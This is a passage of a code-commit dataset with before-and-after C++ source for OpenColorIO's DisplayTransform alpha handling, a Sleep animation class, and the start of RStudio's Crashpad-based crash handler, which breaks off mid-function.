of source code must retain the above copyright\n notice, this list of conditions and the following disclaimer.\n* Redistributions in binary form must reproduce the above copyright\n notice, this list of conditions and the following disclaimer in the\n documentation and\/or other materials provided with the distribution.\n* Neither the name of Sony Pictures Imageworks nor the names of its\n contributors may be used to endorse or promote products derived from\n this software without specific prior written permission.\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n\"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\nLIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\nA PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\nOWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\nSPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\nLIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\nDATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\nTHEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\nOF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n*\/\n\n#include <OpenColorIO\/OpenColorIO.h>\n\n#include \"OpBuilders.h\"\n\n#include <cmath>\n#include <cstring>\n#include <iterator>\n\nOCIO_NAMESPACE_ENTER\n{\n DisplayTransformRcPtr DisplayTransform::Create()\n {\n return DisplayTransformRcPtr(new DisplayTransform(), &deleter);\n }\n \n void DisplayTransform::deleter(DisplayTransform* t)\n {\n delete t;\n }\n \n class DisplayTransform::Impl\n {\n public:\n TransformDirection dir_;\n std::string inputColorSpaceName_;\n TransformRcPtr linearCC_;\n TransformRcPtr colorTimingCC_;\n TransformRcPtr channelView_;\n std::string displayColorSpaceName_;\n \n Impl() :\n dir_(TRANSFORM_DIR_FORWARD)\n { }\n \n ~Impl()\n { }\n \n Impl& operator= (const Impl & rhs)\n {\n dir_ = rhs.dir_;\n inputColorSpaceName_ = rhs.inputColorSpaceName_;\n \n linearCC_ = rhs.linearCC_;\n if(linearCC_) linearCC_ = linearCC_->createEditableCopy();\n \n colorTimingCC_ = rhs.colorTimingCC_;\n if(colorTimingCC_) colorTimingCC_ = colorTimingCC_->createEditableCopy();\n \n channelView_ = rhs.channelView_;\n if(channelView_) channelView_ = channelView_->createEditableCopy();\n \n displayColorSpaceName_ = rhs.displayColorSpaceName_;\n return *this;\n }\n };\n \n \n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \n \n \n DisplayTransform::DisplayTransform()\n : m_impl(new DisplayTransform::Impl)\n {\n }\n \n TransformRcPtr DisplayTransform::createEditableCopy() const\n {\n DisplayTransformRcPtr transform = DisplayTransform::Create();\n *(transform->m_impl) = *m_impl;\n return transform;\n }\n \n DisplayTransform::~DisplayTransform()\n {\n }\n \n DisplayTransform& DisplayTransform::operator= (const DisplayTransform & rhs)\n {\n *m_impl = *rhs.m_impl;\n return *this;\n }\n \n TransformDirection DisplayTransform::getDirection() const\n {\n return m_impl->dir_;\n }\n \n void DisplayTransform::setDirection(TransformDirection dir)\n {\n m_impl->dir_ = dir;\n }\n \n void DisplayTransform::setInputColorSpaceName(const char * name)\n {\n m_impl->inputColorSpaceName_ = name;\n }\n \n const char * DisplayTransform::getInputColorSpaceName() const\n {\n return m_impl->inputColorSpaceName_.c_str();\n }\n \n void DisplayTransform::setLinearCC(const ConstTransformRcPtr & cc)\n {\n m_impl->linearCC_ = cc->createEditableCopy();\n }\n \n ConstTransformRcPtr DisplayTransform::getLinearCC() const\n {\n return m_impl->linearCC_;\n }\n \n void DisplayTransform::setColorTimingCC(const ConstTransformRcPtr & cc)\n {\n m_impl->colorTimingCC_ = cc->createEditableCopy();\n }\n \n ConstTransformRcPtr DisplayTransform::getColorTimingCC() const\n {\n return m_impl->colorTimingCC_;\n }\n \n void DisplayTransform::setChannelView(const ConstTransformRcPtr & transform)\n {\n m_impl->channelView_ = transform->createEditableCopy();\n }\n \n ConstTransformRcPtr DisplayTransform::getChannelView() const\n {\n return m_impl->channelView_;\n }\n \n void DisplayTransform::setDisplayColorSpaceName(const char * name)\n {\n m_impl->displayColorSpaceName_ = name;\n }\n \n const char * DisplayTransform::getDisplayColorSpaceName() const\n {\n return m_impl->displayColorSpaceName_.c_str();\n }\n \n \n \n std::ostream& operator<< (std::ostream& os, const DisplayTransform& t)\n {\n os << \"<DisplayTransform \";\n os << \"direction=\" << TransformDirectionToString(t.getDirection()) << \", \";\n os << \">\\n\";\n return os;\n }\n \n \n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \n \n \n void BuildDisplayOps(OpRcPtrVec & ops,\n const Config & config,\n const DisplayTransform & displayTransform,\n TransformDirection dir)\n {\n TransformDirection combinedDir = CombineTransformDirections(dir,\n displayTransform.getDirection());\n if(combinedDir != TRANSFORM_DIR_FORWARD)\n {\n std::ostringstream os;\n os << \"DisplayTransform can only be applied in the forward direction.\";\n throw Exception(os.str().c_str());\n }\n \n std::string inputColorSpaceName = displayTransform.getInputColorSpaceName();\n ConstColorSpaceRcPtr inputColorSpace = config.getColorSpace(inputColorSpaceName.c_str());\n if(!inputColorSpace)\n {\n std::ostringstream os;\n os << \"DisplayTransform error.\";\n if(inputColorSpaceName.empty()) os << \" InputColorSpaceName is unspecified.\";\n else os << \" Cannot find inputColorSpace, named '\" << inputColorSpaceName << \"'.\";\n throw Exception(os.str().c_str());\n }\n \n std::string displayColorSpaceName = displayTransform.getDisplayColorSpaceName();\n ConstColorSpaceRcPtr displayColorspace = config.getColorSpace(displayColorSpaceName.c_str());\n if(!displayColorspace)\n {\n std::ostringstream os;\n os << \"DisplayTransform error.\";\n if(displayColorSpaceName.empty()) os << \" displayColorspace is unspecified.\";\n else os << \" Cannot find displayColorspace, named '\" << displayColorSpaceName << \"'.\";\n throw Exception(os.str().c_str());\n }\n \n bool skipColorSpaceConversions = (inputColorSpace->isData() || displayColorspace->isData());\n \n ConstColorSpaceRcPtr currentColorspace = inputColorSpace;\n \n \n \n \/\/ Apply a transform in ROLE_SCENE_LINEAR\n ConstTransformRcPtr linearCC = displayTransform.getLinearCC();\n if(linearCC)\n {\n \/\/ Put the new ops into a temp array, to see if it's a no-op\n \/\/ If it is a no-op, dont bother doing the colorspace conversion.\n OpRcPtrVec ccOps;\n BuildOps(ccOps, config, linearCC, TRANSFORM_DIR_FORWARD);\n \n if(!IsOpVecNoOp(ccOps))\n {\n ConstColorSpaceRcPtr targetColorSpace = config.getColorSpace(ROLE_SCENE_LINEAR);\n \n if(!skipColorSpaceConversions)\n {\n BuildColorSpaceOps(ops, config,\n currentColorspace,\n targetColorSpace);\n currentColorspace = targetColorSpace;\n }\n \n std::copy(ccOps.begin(), ccOps.end(), std::back_inserter(ops));\n }\n }\n \n \n \/\/ Apply a color correction, in ROLE_COLOR_TIMING\n ConstTransformRcPtr colorTimingCC = displayTransform.getColorTimingCC();\n if(colorTimingCC)\n {\n \/\/ Put the new ops into a temp array, to see if it's a no-op\n \/\/ If it is a no-op, dont bother doing the colorspace conversion.\n OpRcPtrVec ccOps;\n BuildOps(ccOps, config, colorTimingCC, TRANSFORM_DIR_FORWARD);\n \n if(!IsOpVecNoOp(ccOps))\n {\n ConstColorSpaceRcPtr targetColorSpace = config.getColorSpace(ROLE_COLOR_TIMING);\n \n if(!skipColorSpaceConversions)\n {\n BuildColorSpaceOps(ops, config,\n currentColorspace,\n targetColorSpace);\n currentColorspace = targetColorSpace;\n }\n \n std::copy(ccOps.begin(), ccOps.end(), std::back_inserter(ops));\n }\n }\n \n \n \n \/\/ Apply a channel view\n ConstTransformRcPtr channelView = displayTransform.getChannelView();\n if(channelView)\n {\n BuildOps(ops, config, channelView, TRANSFORM_DIR_FORWARD);\n }\n \n \n \/\/ Apply the conversion to the display color space\n if(!skipColorSpaceConversions)\n {\n BuildColorSpaceOps(ops, config,\n currentColorspace,\n displayColorspace);\n currentColorspace = displayColorspace;\n }\n }\n}\nOCIO_NAMESPACE_EXIT\n<commit_msg>updated DisplayTransform to have better alpha handling<commit_after>\/*\nCopyright (c) 2003-2010 Sony Pictures Imageworks Inc., et al.\nAll Rights Reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are\nmet:\n* Redistributions of source code must retain the above copyright\n notice, this list of conditions and the following disclaimer.\n* Redistributions in binary form must reproduce the above copyright\n notice, this list of conditions and the following disclaimer in the\n documentation and\/or other materials provided with the distribution.\n* Neither the name of Sony Pictures Imageworks nor the names of its\n contributors may be used to endorse or promote products derived from\n this software without specific prior written permission.\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n\"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\nLIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\nA PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\nOWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\nSPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\nLIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\nDATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\nTHEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\nOF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n*\/\n\n#include <OpenColorIO\/OpenColorIO.h>\n\n#include \"OpBuilders.h\"\n\n#include <cmath>\n#include <cstring>\n#include <iterator>\n\nOCIO_NAMESPACE_ENTER\n{\n DisplayTransformRcPtr DisplayTransform::Create()\n {\n return DisplayTransformRcPtr(new DisplayTransform(), &deleter);\n }\n \n void DisplayTransform::deleter(DisplayTransform* t)\n {\n delete t;\n }\n \n class DisplayTransform::Impl\n {\n public:\n TransformDirection dir_;\n std::string inputColorSpaceName_;\n TransformRcPtr linearCC_;\n TransformRcPtr colorTimingCC_;\n TransformRcPtr channelView_;\n std::string displayColorSpaceName_;\n \n Impl() :\n dir_(TRANSFORM_DIR_FORWARD)\n { }\n \n ~Impl()\n { }\n \n Impl& operator= (const Impl & rhs)\n {\n dir_ = rhs.dir_;\n inputColorSpaceName_ = rhs.inputColorSpaceName_;\n \n linearCC_ = rhs.linearCC_;\n if(linearCC_) linearCC_ = linearCC_->createEditableCopy();\n \n colorTimingCC_ = rhs.colorTimingCC_;\n if(colorTimingCC_) colorTimingCC_ = colorTimingCC_->createEditableCopy();\n \n channelView_ = rhs.channelView_;\n if(channelView_) channelView_ = channelView_->createEditableCopy();\n \n displayColorSpaceName_ = rhs.displayColorSpaceName_;\n return *this;\n }\n };\n \n \n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \n \n \n DisplayTransform::DisplayTransform()\n : m_impl(new DisplayTransform::Impl)\n {\n }\n \n TransformRcPtr DisplayTransform::createEditableCopy() const\n {\n DisplayTransformRcPtr transform = DisplayTransform::Create();\n *(transform->m_impl) = *m_impl;\n return transform;\n }\n \n DisplayTransform::~DisplayTransform()\n {\n }\n \n DisplayTransform& DisplayTransform::operator= (const DisplayTransform & rhs)\n {\n *m_impl = *rhs.m_impl;\n return *this;\n }\n \n TransformDirection DisplayTransform::getDirection() const\n {\n return m_impl->dir_;\n }\n \n void DisplayTransform::setDirection(TransformDirection dir)\n {\n m_impl->dir_ = dir;\n }\n \n void DisplayTransform::setInputColorSpaceName(const char * name)\n {\n m_impl->inputColorSpaceName_ = name;\n }\n \n const char * DisplayTransform::getInputColorSpaceName() const\n {\n return m_impl->inputColorSpaceName_.c_str();\n }\n \n void DisplayTransform::setLinearCC(const ConstTransformRcPtr & cc)\n {\n m_impl->linearCC_ = cc->createEditableCopy();\n }\n \n ConstTransformRcPtr DisplayTransform::getLinearCC() const\n {\n return m_impl->linearCC_;\n }\n \n void DisplayTransform::setColorTimingCC(const ConstTransformRcPtr & cc)\n {\n m_impl->colorTimingCC_ = cc->createEditableCopy();\n }\n \n ConstTransformRcPtr DisplayTransform::getColorTimingCC() const\n {\n return m_impl->colorTimingCC_;\n }\n \n void DisplayTransform::setChannelView(const ConstTransformRcPtr & transform)\n {\n m_impl->channelView_ = transform->createEditableCopy();\n }\n \n ConstTransformRcPtr DisplayTransform::getChannelView() const\n {\n return m_impl->channelView_;\n }\n \n void DisplayTransform::setDisplayColorSpaceName(const char * name)\n {\n m_impl->displayColorSpaceName_ = name;\n }\n \n const char * DisplayTransform::getDisplayColorSpaceName() const\n {\n return m_impl->displayColorSpaceName_.c_str();\n }\n \n \n \n std::ostream& operator<< (std::ostream& os, const DisplayTransform& t)\n {\n os << \"<DisplayTransform \";\n os << \"direction=\" << TransformDirectionToString(t.getDirection()) << \", \";\n os << \">\\n\";\n return os;\n }\n \n \n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \n \n \n void BuildDisplayOps(OpRcPtrVec & ops,\n const Config & config,\n const DisplayTransform & displayTransform,\n TransformDirection dir)\n {\n TransformDirection combinedDir = CombineTransformDirections(dir,\n displayTransform.getDirection());\n if(combinedDir != TRANSFORM_DIR_FORWARD)\n {\n std::ostringstream os;\n os << \"DisplayTransform can only be applied in the forward direction.\";\n throw Exception(os.str().c_str());\n }\n \n std::string inputColorSpaceName = displayTransform.getInputColorSpaceName();\n ConstColorSpaceRcPtr inputColorSpace = config.getColorSpace(inputColorSpaceName.c_str());\n if(!inputColorSpace)\n {\n std::ostringstream os;\n os << \"DisplayTransform error.\";\n if(inputColorSpaceName.empty()) os << \" InputColorSpaceName is unspecified.\";\n else os << \" Cannot find inputColorSpace, named '\" << inputColorSpaceName << \"'.\";\n throw Exception(os.str().c_str());\n }\n \n std::string displayColorSpaceName = displayTransform.getDisplayColorSpaceName();\n ConstColorSpaceRcPtr displayColorspace = config.getColorSpace(displayColorSpaceName.c_str());\n if(!displayColorspace)\n {\n std::ostringstream os;\n os << \"DisplayTransform error.\";\n if(displayColorSpaceName.empty()) os << \" displayColorspace is unspecified.\";\n else os << \" Cannot find displayColorspace, named '\" << displayColorSpaceName << \"'.\";\n throw Exception(os.str().c_str());\n }\n \n bool skipColorSpaceConversions = (inputColorSpace->isData() || displayColorspace->isData());\n \n \/\/ If we're viewing alpha, also skip all color space conversions.\n \/\/ TODO: Should we enforce the use of a MatrixTransform at the API level?\n ConstMatrixTransformRcPtr typedChannelView = DynamicPtrCast<const MatrixTransform>(\n displayTransform.getChannelView());\n if(typedChannelView)\n {\n float matrix44[16];\n typedChannelView->getValue(matrix44, 0x0);\n \n if((matrix44[3]>0.0f) || (matrix44[7]>0.0f) || (matrix44[11]>0.0f))\n {\n skipColorSpaceConversions = true;\n }\n }\n \n \n \n ConstColorSpaceRcPtr currentColorspace = inputColorSpace;\n \n \n \n \/\/ Apply a transform in ROLE_SCENE_LINEAR\n ConstTransformRcPtr linearCC = displayTransform.getLinearCC();\n if(linearCC)\n {\n \/\/ Put the new ops into a temp array, to see if it's a no-op\n \/\/ If it is a no-op, dont bother doing the colorspace conversion.\n OpRcPtrVec ccOps;\n BuildOps(ccOps, config, linearCC, TRANSFORM_DIR_FORWARD);\n \n if(!IsOpVecNoOp(ccOps))\n {\n ConstColorSpaceRcPtr targetColorSpace = config.getColorSpace(ROLE_SCENE_LINEAR);\n \n if(!skipColorSpaceConversions)\n {\n BuildColorSpaceOps(ops, config,\n currentColorspace,\n targetColorSpace);\n currentColorspace = targetColorSpace;\n }\n \n std::copy(ccOps.begin(), ccOps.end(), std::back_inserter(ops));\n }\n }\n \n \n \/\/ Apply a color correction, in ROLE_COLOR_TIMING\n ConstTransformRcPtr colorTimingCC = displayTransform.getColorTimingCC();\n if(colorTimingCC)\n {\n \/\/ Put the new ops into a temp array, to see if it's a no-op\n \/\/ If it is a no-op, dont bother doing the colorspace conversion.\n OpRcPtrVec ccOps;\n BuildOps(ccOps, config, colorTimingCC, TRANSFORM_DIR_FORWARD);\n \n if(!IsOpVecNoOp(ccOps))\n {\n ConstColorSpaceRcPtr targetColorSpace = config.getColorSpace(ROLE_COLOR_TIMING);\n \n if(!skipColorSpaceConversions)\n {\n BuildColorSpaceOps(ops, config,\n currentColorspace,\n targetColorSpace);\n currentColorspace = targetColorSpace;\n }\n \n std::copy(ccOps.begin(), ccOps.end(), std::back_inserter(ops));\n }\n }\n \n \/\/ Apply a channel view\n ConstTransformRcPtr channelView = displayTransform.getChannelView();\n if(channelView)\n {\n BuildOps(ops, config, channelView, TRANSFORM_DIR_FORWARD);\n }\n \n \n \/\/ Apply the conversion to the display color space\n if(!skipColorSpaceConversions)\n {\n BuildColorSpaceOps(ops, config,\n currentColorspace,\n displayColorspace);\n currentColorspace = displayColorspace;\n }\n }\n}\nOCIO_NAMESPACE_EXIT\n<|endoftext|>"} {"text":"<commit_before>#ifndef CORE_ANIMATIONS_SLEEP_HPP_\n#define CORE_ANIMATIONS_SLEEP_HPP_\n\n#include <core\/animation.hpp>\n\ntemplate <typename Value>\nclass Sleep: public Animation<Value>\n{\npublic:\n Sleep(int32_t initialTimeout):\n m_initialTimeout(initialTimeout),\n m_currenTimeout(initialTimeout)\n {}\n\n virtual Value nextValue(const int32_t deltaTime) override\n {\n return Value();\n }\n\n virtual Value getCurrentValue() const override\n {\n return Value();\n }\n\n virtual bool isFinished() const override\n {\n return false;\n }\n\n virtual void reset(const Value &value) override\n {\n }\n\nprivate:\n const int32_t m_initialTimeout;\n int32_t m_currenTimeout;\n};\n\n#endif \/\/ CORE_ANIMATIONS_SLEEP_HPP_\n<commit_msg>Implement sleep acroding to the specs<commit_after>#ifndef CORE_ANIMATIONS_SLEEP_HPP_\n#define CORE_ANIMATIONS_SLEEP_HPP_\n\n#include <algorithm>\n#include <core\/animation.hpp>\n\ntemplate <typename Value>\nclass Sleep: public Animation<Value>\n{\npublic:\n Sleep(int32_t initialTimeout):\n m_initialTimeout(initialTimeout),\n m_currentTimeout(initialTimeout),\n m_currentValue()\n {}\n\n virtual Value nextValue(const int32_t deltaTime) override\n {\n m_currentTimeout = std::max(0, m_currentTimeout - deltaTime);\n\n return m_currentValue;\n }\n\n virtual Value getCurrentValue() const override\n {\n return m_currentValue;\n }\n\n virtual bool isFinished() const override\n {\n return m_currentTimeout <= 0;\n }\n\n virtual void reset(const Value &value) override\n {\n m_currentValue = value;\n m_currentTimeout = m_initialTimeout;\n }\n\nprivate:\n const int32_t m_initialTimeout;\n int32_t m_currentTimeout;\n Value m_currentValue;\n};\n\n#endif \/\/ CORE_ANIMATIONS_SLEEP_HPP_\n<|endoftext|>"} {"text":"<commit_before>\/*\n * CrashHandler.cpp\n *\n * Copyright (C) 2019 by RStudio, Inc.\n *\n * Unless you have received this program directly from RStudio pursuant\n * to the terms of a commercial license agreement with RStudio, then\n * this program is licensed to you under the terms of version 3 of the\n * GNU Affero General Public License. This program is distributed WITHOUT\n * ANY EXPRESS OR IMPLIED WARRANTY, INCLUDING THOSE OF NON-INFRINGEMENT,\n * MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. Please refer to the\n * AGPL (http:\/\/www.gnu.org\/licenses\/agpl-3.0.txt) for more details.\n *\n *\/\n\n#include <core\/CrashHandler.hpp>\n\n#include <sstream>\n\n#include <core\/FileUtils.hpp>\n#include <core\/Settings.hpp>\n#include <core\/StringUtils.hpp>\n#include <core\/system\/System.hpp>\n#include <core\/system\/Environment.hpp>\n\n#ifndef _WIN32\n#include <core\/system\/FileMode.hpp>\n#endif\n\n#include \"config.h\"\n\n#ifndef RSTUDIO_CRASHPAD_ENABLED\nnamespace rstudio {\nnamespace core {\nnamespace crash_handler {\n\nError initialize(ProgramMode programMode)\n{\n return Success();\n}\n\nConfigSource configSource()\n{\n return ConfigSource::Default;\n}\n\nbool isHandlerEnabled()\n{\n return false;\n}\n\nError setUserHandlerEnabled(bool)\n{\n return Success();\n}\n\n} \/\/ namespace crash_handler\n} \/\/ namespace core\n} \/\/ namespace rstudio\n#else\n\n#include <crashpad\/client\/crashpad_client.h>\n#include <crashpad\/client\/crash_report_database.h>\n#include <crashpad\/client\/settings.h>\n\n#define kCrashHandlingEnabled \"crash-handling-enabled\"\n#define kCrashHandlingEnabledDefault false\n#define kCrashDatabasePath \"crash-db-path\"\n#define kCrashDatabasePathDefault \"\"\n#define kUploadUrl \"upload-url\"\n#define kUploadUrlDefault \"https:\/\/sentry.io\/api\/1379214\/minidump\/?sentry_key=4e76b8d2cffb49419fec1b431e09247c\"\n#define kUploadDumps \"uploads-enabled\"\n#define kUploadDumpsDefault true\n#define kUploadProxy \"upload-proxy\"\n#define kUploadProxyDefault \"\"\n\nnamespace rstudio {\nnamespace core {\nnamespace crash_handler {\n\nnamespace {\n\nboost::shared_ptr<crashpad::CrashpadClient> s_crashpadClient;\nboost::shared_ptr<Settings> s_settings;\nProgramMode s_programMode;\n\nFilePath adminConfFile()\n{\n#ifndef _WIN32\n return FilePath(\"\/etc\/rstudio\/crash-handler.conf\");\n#else\n return core::system::systemSettingsPath(\"RStudio\", false).complete(\"crash-handler.conf\");\n#endif\n}\n\nFilePath userConfFile()\n{\n return core::system::userSettingsPath(core::system::userHomePath(),\n \"R\",\n false).complete(\"crash-handler.conf\");\n}\n\nvoid readOptions()\n{\n s_settings.reset(new Settings());\n\n FilePath optionsFile = adminConfFile();\n\n if (s_programMode == ProgramMode::Desktop && !optionsFile.exists())\n {\n \/\/ admin-level file does not exist - check for existence of user file\n \/\/ this is only done for desktop mode, as only the admin file should be\n \/\/ respected in server mode\n optionsFile = userConfFile();\n\n \/\/ if the user options file does not explicitly exist, we will forcefully create it\n \/\/ this is to ensure that there is an actual file backing for the settings\n \/\/ as multiple user clients can update it simultaneously, so we need to have it\n \/\/ backed to file as opposed to just hanging around in memory so that all clients\n \/\/ can properly see the state at all times\n if (!optionsFile.exists())\n {\n Error error = optionsFile.ensureFile();\n if (error)\n LOG_ERROR(error);\n }\n }\n\n if (optionsFile.exists())\n {\n Error error = s_settings->initialize(optionsFile);\n if (error)\n LOG_ERROR(error);\n }\n}\n\nbase::FilePath googleFilePath(const std::string& str)\n{\n#ifdef _WIN32\n std::string utf8Str = core::string_utils::systemToUtf8(str);\n std::wstring wideStr = core::string_utils::utf8ToWide(utf8Str);\n return base::FilePath(wideStr);\n#else\n return base::FilePath(str);\n#endif\n}\n\nvoid logClientCreation(const base::FilePath& handlerPath,\n const base::FilePath& databasePath,\n const std::string& uploadUrl)\n{\n#ifdef _WIN32\n std::wstringstream msg;\n std::wstring uploadUrlStr = core::string_utils::utf8ToWide(uploadUrl);\n#else\n std::stringstream msg;\n const std::string& uploadUrlStr = uploadUrl;\n#endif\n\n msg << \"Initializing crashpad client:\" <<\n \" handlerPath=\" << handlerPath.value() <<\n \" databasePath=\" << databasePath.value() <<\n \" uploadUrl=\" << uploadUrlStr;\n\n#ifdef _WIN32\n std::string message = core::string_utils::wideToUtf8(msg.str());\n#else\n std::string message = msg.str();\n#endif\n\n LOG_INFO_MESSAGE(message);\n}\n\nFilePath permissionFile()\n{\n return core::system::userSettingsPath(core::system::userHomePath(),\n \"R\",\n false).complete(\"crash-handler-permission\");\n}\n\n} \/\/ anonymous namespace\n\nError initialize(ProgramMode programMode)\n{\n#ifndef RSTUDIO_CRASHPAD_ENABLED\n return Success();\n#endif\n s_programMode = programMode;\n\n readOptions();\n\n \/\/ if crash handling is explicitly disabled, exit out\n bool crashHandlingEnabled = s_settings->getBool(kCrashHandlingEnabled, kCrashHandlingEnabledDefault);\n if (!crashHandlingEnabled)\n return Success();\n\n \/\/ get the path to the crashpad database\n std::string databasePathStr = s_settings->get(kCrashDatabasePath, kCrashDatabasePathDefault);\n if (databasePathStr.empty())\n {\n#ifdef RSTUDIO_SERVER\n if (s_programMode == ProgramMode::Server)\n {\n \/\/ server mode - default database path to default tmp location\n FilePath tmpPath;\n Error error = FilePath::tempFilePath(&tmpPath);\n if (error)\n return error;\n\n FilePath databasePath = tmpPath.parent().childPath(\"crashpad_database\");\n\n \/\/ ensure that the database path exists\n error = databasePath.ensureDirectory();\n if (error)\n return error;\n\n \/\/ ensure that it is writeable by all users\n \/\/ this is best case and we swallow the error because it is legitimately possible we\n \/\/ lack the permissions to perform this (such as if we are an unprivileged rsession user)\n core::system::changeFileMode(databasePath, core::system::EveryoneReadWriteExecuteMode);\n\n databasePathStr = databasePath.absolutePath();\n }\n else\n {\n \/\/ desktop mode - default database path to user settings path\n databasePathStr = core::system::userSettingsPath(core::system::userHomePath(),\n \"R\",\n true).childPath(\"crashpad_database\").absolutePath();\n }\n#else\n \/\/ desktop mode - default database path to user settings path\n databasePathStr = core::system::userSettingsPath(core::system::userHomePath(),\n \"R\",\n true).childPath(\"crashpad_database\").absolutePath();\n#endif\n }\n base::FilePath databasePath = googleFilePath(databasePathStr);\n\n \/\/ determine if dumps should be uploaded automatically\n std::string uploadUrl = s_settings->get(kUploadUrl, kUploadUrlDefault);\n bool uploadDumps = s_settings->getBool(kUploadDumps, kUploadDumpsDefault) && !uploadUrl.empty();\n\n \/\/ get the path to the crashpad handler\n FilePath exePath;\n Error error = core::system::executablePath(nullptr, &exePath);\n if (error)\n return error;\n\n \/\/ get the path for the crash handler - this may be overridden via env var\n \/\/ for supporting development setups\n base::FilePath handlerPath;\n std::string crashHandlerPathEnv = core::system::getenv(kCrashHandlerEnvVar);\n if (!crashHandlerPathEnv.empty())\n {\n handlerPath = googleFilePath(crashHandlerPathEnv);\n }\n else\n {\n #ifndef _WIN32\n \/\/ for server, we use the crash handler proxy to ensure that the crashpad handler\n \/\/ is run with the correct permissions (otherwise ptrace will not work if setuid is used)\n #ifdef RSTUDIO_SERVER\n if (s_programMode == ProgramMode::Server)\n handlerPath = googleFilePath(exePath.parent().childPath(\"crash-handler-proxy\").absolutePath());\n else\n handlerPath = googleFilePath(exePath.parent().childPath(\"crashpad_handler\").absolutePath());\n #else\n handlerPath = googleFilePath(exePath.parent().childPath(\"crashpad_handler\").absolutePath());\n #endif\n #else\n handlerPath = googleFilePath(exePath.parent().childPath(\"crashpad_handler.exe\").absolutePath());\n#endif\n }\n\n \/\/ open the crashpad database\n std::unique_ptr<crashpad::CrashReportDatabase> pDatabase =\n crashpad::CrashReportDatabase::Initialize(databasePath);\n\n \/\/ in server mode, attempt to give full access to the entire database for all users\n \/\/ this is necessary so unprivileged processes can write crash dumps properly\n \/\/ again, we swallow the errors here because unprivileged processes cannot change permissions\n#ifdef RSTUDIO_SERVER\n if (s_programMode == ProgramMode::Server)\n {\n std::vector<FilePath> dbFolders;\n FilePath(databasePathStr).children(&dbFolders);\n for (const FilePath& subPath : dbFolders)\n core::system::changeFileMode(subPath, core::system::EveryoneReadWriteExecuteMode);\n }\n#endif\n\n \/\/ ensure database is properly initialized\n if (pDatabase != nullptr && pDatabase->GetSettings() != nullptr)\n pDatabase->GetSettings()->SetUploadsEnabled(uploadDumps);\n else\n return systemError(boost::system::errc::no_such_file_or_directory, ERROR_LOCATION);\n\n logClientCreation(handlerPath, databasePath, uploadUrl);\n\n \/\/ initialize and start crashpad client\n s_crashpadClient.reset(new crashpad::CrashpadClient());\n std::map<std::string, std::string> annotations;\n annotations[\"sentry[release]\"] = RSTUDIO_VERSION;\n std::vector<std::string> args {\"--no-rate-limit\"};\n\n#ifdef __linux__\n \/\/ export proxy environment variable if set\n \/\/ if not set, the default (system-wide setting) or any existing proxy env var is used instead\n \/\/ see https:\/\/curl.haxx.se\/libcurl\/c\/CURLOPT_PROXY.html for more info\n std::string proxy = s_settings->get(kUploadProxy, kUploadProxyDefault);\n if (!proxy.empty())\n core::system::setenv(\"ALL_PROXY\", proxy);\n\n bool success = s_crashpadClient->StartHandlerAtCrash(handlerPath,\n databasePath,\n base::FilePath(),\n uploadUrl,\n annotations,\n args);\n#else\n bool success = s_crashpadClient->StartHandler(handlerPath,\n databasePath,\n base::FilePath(),\n uploadUrl,\n annotations,\n args,\n true,\n false);\n\n#endif\n\n return success ? Success() : systemError(boost::system::errc::invalid_argument, ERROR_LOCATION);\n}\n\nConfigSource configSource()\n{\n FilePath settingsPath = s_settings->filePath();\n if (settingsPath.empty())\n return ConfigSource::Default;\n\n if (settingsPath == adminConfFile())\n return ConfigSource::Admin;\n else if (settingsPath == userConfFile())\n return ConfigSource::User;\n else\n return 